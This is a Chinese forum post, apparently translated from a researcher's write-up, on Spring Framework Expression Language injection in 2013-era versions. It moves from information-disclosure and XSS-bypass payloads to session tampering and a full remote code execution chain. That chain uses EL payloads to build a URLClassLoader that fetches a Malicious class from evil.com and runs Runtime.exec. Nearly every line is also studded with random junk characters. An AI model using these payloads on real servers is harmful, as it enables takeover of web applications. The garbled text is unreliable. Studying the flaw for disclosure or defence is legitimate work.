找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2506|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with+ Y! g& p- H* m$ Y3 v* x* T: n/ B
Expression Language Injection- o( M$ h1 T9 c) p1 v
Spring Framework脆弱性—DanAmodio# B) c3 g# I+ k9 ?6 p1 a3 ^6 B
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
8 R4 R7 e1 S: \5 ~可能会存在风险。
* _5 k3 @1 V2 V6 \7 {  q在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
7 t/ o/ r- D3 X' `Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可# o( p% z9 h% M# g* M2 W
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,, }7 q: X- B; O5 x
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
2 D9 z% S4 T1 c版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。8 |% n9 q! P2 d
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
9 G4 C% V3 Z( e8 ]; {我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版& n/ ~" L0 e; O9 H1 K8 j
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
) Y5 W1 q5 ~/ K. \$ z这些版本不支持禁用double EL resolution.. y' f, S& n) r1 ?8 e6 p9 ?, s& K4 L% L
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
' \- r1 p+ C% ~/ U" C: rEL2.2容器上可能进行远程代码执行。) _4 Y/ q  e2 P& E; x
这是一个原始信息泄露的攻击例子:: \( b  P) {! H
请求:
' D6 K% ~( v8 A; ~" z) Tttp://vulnerable.com/foo?message=${applicationScope}
' r1 X: z; ^2 l- J3 R9 s0 U+ E到达以下内容页面:
6 y# @3 G8 w) u4 P% |& W, k结果将输出一些包含内部服务器信息calsspath 和本地工作目录
( v( q# N+ v# @) k) T* U: m; Z你也可以做一些其他事情,如这样:
+ _- Z0 X4 P' ^" X: n6 z${9999+1}
; A$ L3 @2 S, `3 @9 m还可以访问session 对象和beans2 S/ O  g% a2 T
${employee.lastName}+ o& f3 B4 Y1 ~$ H# \" B+ X& M
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
6 F0 }; `4 j9 \8 t% hEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
# g- ^  y3 @0 t& |4 I西,比如XSS.
  [9 O1 _) T. m; E  n3 K- \  _- ^哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签5 F; s" W4 D5 M! [' ]$ ]6 Y4 V
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
7 i9 @8 k$ a* Y- z5 G3 A3 U, }; P/ j呢?”
5 O, e5 @$ Q7 D7 }8 j因此,我尝试巳缦拢�7 G% s  c5 I3 P' Z* V: b: }; _
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
+ {- p( H) D4 F1 iP
  X$ N/ r/ v+ e我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
2 y$ e! u; w3 l回的文本被插入进了spring:message 标签。
9 t- u7 M8 \% t  E3 F* x这里是一个最终绕过过滤的实例:7 @) t' Z3 S4 H/ e  K* `
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 J2 k, q, v( F* I( [它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为& o4 N# ]  @* O6 I) Y1 z
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
5 E7 Q/ \- k% [4 w* h$ ~: u经过一番研究,我学习到EL2.2 增加了方法调用。
8 w) k. N$ C6 Q- ^  G我写了一个快速测试应用程序代码并且检测一些功能& b2 i7 ]" S3 R( U
${pageContext.request.getSession().setAttribute(“account”,”123456″)}  d9 l5 E8 x6 Y7 ^3 m8 W& ^: `
${pageContext.request.getSession().setAttribute(“admin”,true)}& M. A$ Z. x' M3 P
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
' z/ P) s$ D/ P- ?  k: f4 ?指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
& i* B8 \9 |  {9 L; |4 E5 G5 I${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
, C& ~0 H. C: J# ]8 P6 t: T“, 1234)}% H; }6 m( q4 Y6 k7 ~; \" [
${“”.getClass().forName(“java.lang.Runtime”)}4 @( v. |- |, `' Y
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不. R5 `' V; Y! Q7 x; _
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函) z. E8 d/ i, `& u2 u5 d% E' Y+ h
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有$ W6 O8 ~/ t! H- W# z6 s6 W
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
  N5 K. W1 d& y; K' H% G方法签名invoke(Object obj, Object„ args)+ K; a% |( M7 _: f) ]! K
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
( U4 e7 Q! |: y5 D8 l% |6 A! p题,以让它可以工作起来。4 [6 [/ v1 }/ G' C7 d6 h$ ~# ^( c1 `
漏洞利用:* [6 V  @  K: X" V. c$ t
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
1 ~' k7 j8 ]1 a) |  x2 |希望你们中的一些JAVA奇才告诉我我是如此的可笑。1 j3 v& e2 d0 W- M  m5 c: n1 ]
这里有一些我试过的失败的用例,为了试图让它工作的用例:
/ g2 C; f3 c- B- F" d$ w1 b$ N 写文件到文件系统1 b# z! O) U1 s! I* z
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.8 L" J. P. J8 w+ I( g% Z4 X# U
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
0 ?1 ~1 o+ k4 b1 n6 ~${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}5 I. W+ A/ t1 ?
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
0 o3 V2 g1 s# n/ `8 Korg.springframework.expression.spel.standard.SpelExpressionParser not found
' j- H9 g) P6 U* _9 nby
# Q$ y- L0 Q& k" _7 Uorg.glassfish.web.javax.servlet.jsp [194].
$ r- w5 A0 a, i- R7 j3 B) Q 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public( t5 a/ Y: J4 G, ]0 s! o( H
 利用反射来创建一个新的Runtime(and watch the world burn)7 O6 W- Y9 V4 H: h, [8 o! @
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
) Z7 T3 i2 e: |# L(“java.lang.Runtime”)).getDeclaredConstructors()[0])}: @# f/ e! d' c% P/ W
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
' [( s) h/ N! J" y; V3 m 使用java.lang.ProcessBuilder
  X9 p: k2 P" J/ F) S) n3 Q 用表达式语言来评估表达式语言+ ^( m8 e8 l# X" U
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.9 {9 w6 g+ d1 y! ]
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request* v: R' _9 y/ u: ~7 r) j7 [
“,”".getClass(),null)}' i$ n) r, c, Z* H2 D2 s( e2 R% z
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)1 S( `/ I+ U& T; j) t
我在使用一个空数组通过Method.invoke()时失败了很多次
$ F9 y8 S8 |+ X9 @" M7 _9 W“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo- _2 B* I* {( N7 B* x* }4 z9 o
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
" _6 J) o5 z8 L, o$ {6 @3 nrrayList”).newInstance().toArray())
( m5 @! M! C& v- d0 `' [) N+ Ejava.lang.IllegalArgumentException: wrong number of arguments" [6 R+ D9 }, Z
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
) X) i7 N5 T! U  d: `以创建一个恶意class文件并且指向类装载器.- V( @" [( i" D& i, {0 o
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:) h' I4 `. w6 g3 {( P
public class Malicious {0 S7 z5 ^; S$ a9 p. z' T8 d
public Malicious() {( A+ z- |5 t- F
try {5 D+ ~% V1 h: _2 q% B, _% C* P
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac: ?2 A8 Y/ g- m: u" M/ @- {
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
5 x9 L! w1 N* W6 ?} catch (Exception e) {5 G, }: _/ Q: ~5 I2 n  D& z
}
/ p1 j* L! X, {/ U}- b2 B1 l: T' e4 B5 S3 o2 b$ [
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
$ n* \! K4 {* ~1 T话中,因此它可以被使用.2 @% b+ _/ i0 U  X
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName7 W6 }, K% s( i3 h& D6 b
(“java.util.ArrayList”).newInstance())}
' f5 @' ^1 W( h5 O8 S; D; g) l: M" _URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建% s9 S' p$ V' L. a4 h
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和1 R$ w1 G; W* J5 v& H* b9 e
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
: `$ \) H- o! ?: c% Z0 U我们可以调用的create(string)方法,然后转换对一个URL对象。! T( K# r; F$ s+ W6 B
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh' \  q9 O$ |1 ^. V& h
ere/malicious/classfile/is/located/”).toURL())}
6 m% ~" u8 l1 a% U9 g然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,5 N  Q# \2 [+ e2 Q7 |2 ~0 i( [& v
恶意类文件被装载并创建,触发远程代码.
; C( g5 ~( A9 i! p; u: U${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte1 I+ C, @$ E7 G5 J3 Z+ S3 A
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
4 W& f( _# _& {. ~9 [getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
* F$ w% B$ z5 ?, d5 ^: W()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表